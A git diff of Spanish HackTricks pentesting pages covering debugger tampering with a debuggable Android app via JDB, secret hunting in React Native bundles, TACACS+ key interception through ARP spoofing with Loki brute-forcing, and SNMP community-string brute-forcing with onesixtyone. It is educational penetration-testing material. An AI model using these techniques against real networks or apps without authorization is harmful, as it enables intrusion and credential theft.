||||
* Antes de adjuntarnos a la aplicación, necesitamos reenviar el puerto usando adb ya que estamos utilizando la depuración remota. Esto se muestra en la Figura 4.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack4.png)
|
||||
|
||||
Figura 4
|
||||
|
||||
* Ahora, adjuntemos JDB a la aplicación como se muestra en la siguiente figura.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack5.png)
|
||||
|
||||
Figura 5
|
||||
|
||||
### **Inyección de código en tiempo de ejecución**
|
||||
|
||||
En este paso, realmente explotaremos la aplicación vulnerable modificando su comportamiento en tiempo de ejecución.
|
||||
|
||||
Para modificar el comportamiento de la aplicación en tiempo de ejecución, necesitamos establecer puntos de interrupción y controlar el flujo. Pero, no sabemos qué clases y métodos se utilizan en la aplicación. Entonces, usemos los siguientes comandos para averiguar las clases y métodos utilizados en la aplicación.
|
||||
|
||||
Para encontrar las clases: “**classes**”
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack6.png)
|
||||
|
||||
Figura 6.1
|
||||
|
||||
Dado que tengo demasiadas clases listadas, solo estoy enumerando algunas clases. Pero si sigues desplazándote hacia abajo, verás algunas clases definidas por el usuario interesantes como se muestra en la figura a continuación.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack7.png)
|
||||
|
||||
Figura 6.2
|
||||
|
||||
Ahora, veamos los métodos asociados con la clase MainActivity$1 usando el siguiente comando.
|
||||
|
||||
“_**methods com.example.debug.MainActivity$1**_”
|
||||
|
||||
Esto se muestra en la figura 7.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack8.png)
|
||||
|
||||
Figura 7
|
||||
|
||||
Ahora, establezcamos un punto de interrupción en el método onClick y controlemos la ejecución de la app como se muestra en la Figura 8.
|
||||
|
||||
_**“stop in com.example.debug.MainActivity$1.onClick(android.view.View)”**_
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack9.png)
|
||||
|
||||
Figura 8
|
||||
|
||||
Para activar el punto de interrupción, tendremos que hacer clic manualmente en el botón de la aplicación. Una vez después de hacer clic en el botón, se activará el punto de interrupción y aparecerá como se muestra en la Figura 9.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack10.png)
|
||||
|
||||
Figura 9
|
||||
|
||||
A partir de aquí, podremos controlar y ver los valores sensibles, argumentos de métodos, etc., utilizando varios comandos.
|
||||
|
||||
Solo para entender qué está sucediendo en segundo plano, estoy siguiendo el código asociado con el método onClick, que se muestra en la Figura 10.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack11.png)
|
||||
|
||||
Figura 10
|
||||
|
||||
Antes de continuar, veamos si hay alguna variable local en este momento usando el comando “**locals**“.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack12.png)
|
||||
|
||||
Figura 11
|
||||
|
||||
Como podemos ver, no hay información interesante para nosotros.
|
||||
|
||||
Entonces, ejecutemos la siguiente línea usando el comando “**next**” como se muestra a continuación.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack13.png)
|
||||
|
||||
Figura 12
|
||||
|
||||
Intentemos nuevamente ejecutar el comando “**locals**” para ver qué sucedió en el comando anterior.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack14.png)
|
||||
|
||||
Figura 13
|
||||
|
||||
Está bastante claro que TextView se ha cargado en los argumentos del método. Si miramos el código fuente proporcionado en la Figura 10, se ha ejecutado la línea asociada con la instanciación de TextView.
|
||||
|
||||
Ahora, ejecutemos las siguientes líneas ejecutando el comando “**next**” y revisemos las variables locales como se muestra en la figura a continuación.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack15.png)
|
||||
|
||||
Figura 14
|
||||
|
||||
Como podemos ver, se han mostrado todas las variables locales. La cadena “**secret**” parece interesante. El valor “Try Again” es lo que se va a imprimir cuando hagamos clic en el botón.
|
||||
|
||||
Desde la Figura 10, está muy claro que se está ejecutando el método **setText** para imprimir el valor “**Try Again**“. Entonces, usemos el comando “**step**” para entrar en la definición del método “**setText**” y modificar dinámicamente el texto a imprimir.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack16.png)
|
||||
|
||||
Figura 15
|
||||
|
||||
Veamos las variables locales dentro de la definición usando “**locals**“.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack17.png)
|
||||
|
||||
Figura 16
|
||||
|
||||
Ahora, cambiemos el valor de “**text**” de “**Try Again**” a “**Hacked**” usando el comando “**set**”.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack18.png)
|
||||
|
||||
Figura 17
|
||||
|
||||
No podemos ver ningún cambio en la aplicación, ya que no hemos ejecutado el código modificado.
|
||||
|
||||
Entonces, ejecutemos la aplicación usando el comando “**run**” como se muestra a continuación, y veamos la salida de la aplicación en su pantalla.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack19.png)
|
||||
|
||||
Figura 18
|
||||
|
||||
Veamos la aplicación ejecutándose en el emulador.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack20.png)
|
||||
|
||||
Figura 19
|
||||
|
||||
Hemos modificado con éxito la salida de la aplicación en tiempo de ejecución. Esto es solo un ejemplo para mostrar cómo se puede modificar el comportamiento de una aplicación si la aplicación es depurable. Podemos realizar varias otras cosas, incluyendo “**Obtener una shell**” en el dispositivo en el contexto de la aplicación vulnerable.
|
||||
# Referencias
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -266,10 +100,10 @@ Hemos modificado con éxito la salida de la aplicación en tiempo de ejecución.
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,71 +1,64 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
# Análisis de Aplicación React Native
|
||||
|
||||
**Información copiada de** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
Para confirmar si la aplicación fue construida con el framework de React Native, sigue estos pasos:
|
||||
|
||||
React Native es un **marco de aplicación móvil** que se utiliza principalmente para desarrollar aplicaciones para **Android** e **iOS** al permitir el uso de React y las capacidades de la plataforma nativa. En estos días, se ha vuelto cada vez más popular usar React en todas las plataformas.\
|
||||
Pero la mayor parte del tiempo, la lógica principal de la aplicación se encuentra en el **JavaScript de React Native que se puede obtener** sin necesidad de usar dex2jar.
|
||||
1. Renombra el archivo APK con una extensión zip y extráelo a una nueva carpeta usando el comando `cp com.example.apk example-apk.zip` y `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
## **Paso 1**: Confirmemos si la aplicación se construyó en el marco de React Native.
|
||||
2. Navega a la carpeta ReactNative recién creada y localiza la carpeta assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en formato minificado.
|
||||
|
||||
Para comprobar esto, renombra el APK con la extensión zip y luego extrae el APK a una nueva carpeta usando el siguiente comando.
|
||||
```
|
||||
cp com.example.apk example-apk.zip
|
||||
unzip -qq example-apk.zip -d ReactNative
|
||||
```
|
||||
Navegue hasta la carpeta `ReactNative` recién creada y encuentre la carpeta `assets`. Dentro de esta carpeta, debería contener `index.android.bundle`. Este archivo contendrá todo el código JavaScript de React en un formato **minificado**. Ingeniería inversa de React Native
|
||||
```bash
|
||||
find . -print | grep -i ".bundle$"
|
||||
```
|
||||
![Imagen para el post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png)
|
||||
3. Utiliza el comando `find . -print | grep -i ".bundle$"` para buscar el archivo JavaScript.
|
||||
|
||||
## **Paso 2**: Crear un archivo llamado `index.html` en el mismo directorio con el siguiente código.
|
||||
|
||||
Puedes subir el archivo a [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) o continuar con los siguientes pasos:
|
||||
```markup
|
||||
Para analizar más a fondo el código JavaScript, crea un archivo llamado `index.html` en el mismo directorio con el siguiente código:
|
||||
```html
|
||||
<script src="./index.android.bundle"></script>
|
||||
```
|
||||
![Imagen para publicación](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png)
|
||||
Puede subir el archivo a [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) o seguir estos pasos:
|
||||
|
||||
Abre el archivo **index.html** en **Google Chrome**. Abre la barra de herramientas de desarrollador (**Command+Option+J para OS X o Control+Shift+J para Windows**), y haz clic en "Sources". Deberías ver un archivo JavaScript, dividido en carpetas y archivos que conforman el paquete principal.
|
||||
1. Abra el archivo `index.html` en Google Chrome.
|
||||
|
||||
> Si puedes encontrar un archivo llamado `index.android.bundle.map`, podrás analizar el código fuente en un formato no minimizado. Los archivos `map` contienen el mapeo de origen que te permite mapear identificadores minimizados.
|
||||
2. Abra la Barra de Herramientas para Desarrolladores presionando **Command+Option+J para OS X** o **Control+Shift+J para Windows**.
|
||||
|
||||
## **Paso 3**: busca credenciales y puntos finales sensibles
|
||||
3. Haga clic en "Sources" en la Barra de Herramientas para Desarrolladores. Debería ver un archivo JavaScript que está dividido en carpetas y archivos, formando el paquete principal.
|
||||
|
||||
En esta fase, debes identificar las **palabras clave sensibles** para analizar el código **Javascript**. Un patrón popular en las aplicaciones React Native es el uso de servicios de terceros como Firebase, puntos finales de servicios AWS s3, claves privadas, etc.
|
||||
Si encuentra un archivo llamado `index.android.bundle.map`, podrá analizar el código fuente en un formato no ofuscado. Los archivos de mapa contienen mapeo de fuente, lo que le permite mapear identificadores ofuscados.
|
||||
|
||||
Durante mi proceso de **reconocimiento inicial**, he observado que la aplicación utiliza el servicio Dialogflow. Por lo tanto, basándome en esto, he buscado un patrón relacionado con su configuración. Afortunadamente, pude encontrar **credenciales sensibles codificadas en el código Javascript**.
|
||||
Para buscar credenciales sensibles y puntos finales, siga estos pasos:
|
||||
|
||||
![Imagen para publicación](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png)
|
||||
1. Identifique palabras clave sensibles para analizar el código JavaScript. Las aplicaciones de React Native a menudo utilizan servicios de terceros como Firebase, puntos finales del servicio AWS S3, claves privadas, etc.
|
||||
|
||||
2. En este caso específico, se observó que la aplicación estaba utilizando el servicio Dialogflow. Busque un patrón relacionado con su configuración.
|
||||
|
||||
3. Fue afortunado que se encontraran credenciales codificadas sensibles en el código JavaScript durante el proceso de reconocimiento.
|
||||
|
||||
En general, siguiendo estos pasos, puede analizar una aplicación de React Native, confirmar su marco y buscar información sensible potencial dentro del código.
|
||||
|
||||
# Referencias
|
||||
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -23,42 +23,31 @@ PORT STATE SERVICE
|
|||
```
|
||||
**Puerto predeterminado:** 49
|
||||
|
||||
## Interceptación de Clave de Autenticación
|
||||
## Interceptación de la Clave de Autenticación
|
||||
|
||||
Si un atacante logra interponerse entre el cliente y el servidor TACACS, **puede interceptar la clave de autenticación** en forma encriptada y luego realizar un ataque de fuerza bruta local contra ella. Así, realizas fuerza bruta contra la clave y no apareces en los registros. Y si logras descifrar la clave con éxito, **podrás acceder al equipo de red y descifrar el tráfico** en **Wireshark**.
|
||||
Si un atacante intercepta la comunicación entre el cliente y el servidor TACACS, la **clave de autenticación cifrada puede ser interceptada**. El atacante puede entonces intentar un **ataque de fuerza bruta local contra la clave sin ser detectado en los registros**. Si tiene éxito en descifrar la clave, el atacante obtiene acceso al equipo de red y puede descifrar el tráfico utilizando herramientas como Wireshark.
|
||||
|
||||
### MitM
|
||||
### Realización de un Ataque MitM
|
||||
|
||||
Para realizar un ataque MitM podrías usar un [**ataque de spoofing ARP**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
|
||||
Un **ataque de suplantación ARP puede ser utilizado para realizar un ataque de Hombre en el Medio (MitM)**.
|
||||
|
||||
### Fuerza Bruta de la Clave
|
||||
|
||||
Ahora necesitas ejecutar [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). Esta es una herramienta especial diseñada para analizar la seguridad de los protocolos L2/L3. Sus capacidades son tan buenas como las del popular **Yersinia** y es un serio competidor de este. Loki también puede realizar fuerza bruta en las claves TACACS. Si la clave se **descifra con éxito** (**generalmente en formato encriptado MD5)**, **podemos acceder al equipo y descifrar el tráfico encriptado por TACACS.**
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) puede ser utilizado para realizar la fuerza bruta de la clave:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
```markdown
|
||||
También necesitas especificar la ruta al diccionario para hacer fuerza bruta a la clave encriptada. Asegúrate de desmarcar la opción **Use Bruteforce**, de lo contrario, Loki hará fuerza bruta a la contraseña sin usar el diccionario.
|
||||
Si la clave se **bruteforcea** con éxito (**generalmente en formato encriptado MD5**), **podemos acceder al equipo y descifrar el tráfico encriptado con TACACS.**
|
||||
|
||||
Ahora tenemos que esperar a que un administrador inicie sesión en el dispositivo a través del servidor TACACS. Se asume que el administrador de la red ya ha iniciado sesión, y nosotros, **interceptando el tráfico en medio mediante ARP spoofing**, interceptamos el tráfico. Y al hacerlo, los hosts legítimos no se dan cuenta de que alguien más ha interferido con su conexión.
|
||||
### Descifrando el Tráfico
|
||||
Una vez que la clave se ha descifrado con éxito, el siguiente paso es **descifrar el tráfico encriptado con TACACS**. Wireshark puede manejar el tráfico TACACS encriptado si se proporciona la clave. Al analizar el tráfico descifrado, se puede obtener información como el **banner utilizado y el nombre de usuario del administrador**.
|
||||
|
||||
Ahora haz clic en el botón **CRACK** y espera a que **Loki** descifre la contraseña.
|
||||
|
||||
### Descifrar Tráfico
|
||||
|
||||
Genial, logramos desbloquear la clave, ahora necesitamos descifrar el tráfico TACACS. Como dije, Wireshark puede manejar el tráfico TACACS encriptado si la clave está presente.
|
||||
|
||||
Vemos qué banner se utilizó.
|
||||
|
||||
Encontramos el nombre de usuario del usuario `admin`
|
||||
|
||||
Como resultado, **tenemos las credenciales `admin:secret1234`,** que se pueden utilizar para acceder al hardware en sí. **Creo que verificaré su validez.**
|
||||
|
||||
Así es como puedes atacar TACACS+ y **ganar acceso** al panel de control del equipo de red.
|
||||
Al obtener acceso al panel de control del equipo de red utilizando las credenciales obtenidas, el atacante puede ejercer control sobre la red. Es importante señalar que estas acciones son estrictamente para fines educativos y no deben utilizarse sin la debida autorización.
|
||||
|
||||
## Referencias
|
||||
|
||||
* La sección de la clave de intercepción fue copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -69,8 +58,7 @@ Otras formas de apoyar a HackTricks:
|
|||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -4,72 +4,59 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
Esta página fue copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
# Pentesting en Redes Cisco
|
||||
|
||||
## Exfiltración y enumeración de configuración a través de SNMP <a href="#e21c" id="e21c"></a>
|
||||
SNMP es un protocolo utilizado para monitorear el estado de dispositivos en una red informática. Opera en el protocolo de capa de transporte UDP con los números de puerto 161/UDP y 162/UDP.
|
||||
|
||||
**SNMP (Simple Network Management Protocol)** es un protocolo que permite monitorear el estado de los dispositivos en una red informática. Puede ser equipo de red, teléfonos IP, servidores corporativos o cualquier otra cosa.
|
||||
SNMP utiliza cadenas de comunidad, que actúan como contraseñas para la comunicación entre agentes SNMP y servidores. Estas cadenas de comunidad otorgan permisos **solo de lectura (RO) o de lectura-escritura (RW)**. Los pentesters pueden explotar SNMP **fuerza bruta en las cadenas de comunidad** para obtener acceso al equipo de red.
|
||||
|
||||
**SNMP utiliza el protocolo de capa de transporte UDP con los números de puerto 161/UDP y 162/UDP.** Se utilizan cadenas de comunidad para referir los agentes SNMP al servidor. Estas son, podríamos decir, contraseñas especiales para comunicarse con el servidor SNMP. **Las cadenas de comunidad tienen permisos de solo lectura (RO) o de lectura y escritura (RW).**
|
||||
|
||||
**En realidad, SNMP no solo puede monitorear el estado del equipo, sino también administrarlo por completo: volcar configuraciones, cambiar la configuración, etc.** Si un pentester puede buscar el valor de las cadenas de comunidad, en realidad obtiene acceso al equipo. **Sin embargo, todo depende de qué cadena bruteforceó, si la cadena de comunidad RO o RW.**
|
||||
|
||||
**La fuerza bruta de las cadenas de comunidad se puede implementar utilizando la utilidad** [**onesixtyone**](https://github.com/trailofbits/onesixtyone). **Tomará como entrada el diccionario para la fuerza bruta y las direcciones IP de los hosts objetivo. Los objetivos serán:**
|
||||
|
||||
* **10.10.100.10 - Switch Cisco vIOS**
|
||||
* **10.10.100.254 - Router Cisco vIOS**
|
||||
```
|
||||
~$ onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
Descubrimos qué cadenas de comunidad se utilizan en esos dispositivos. Esto nos abre el camino para la explotación.
|
||||
|
||||
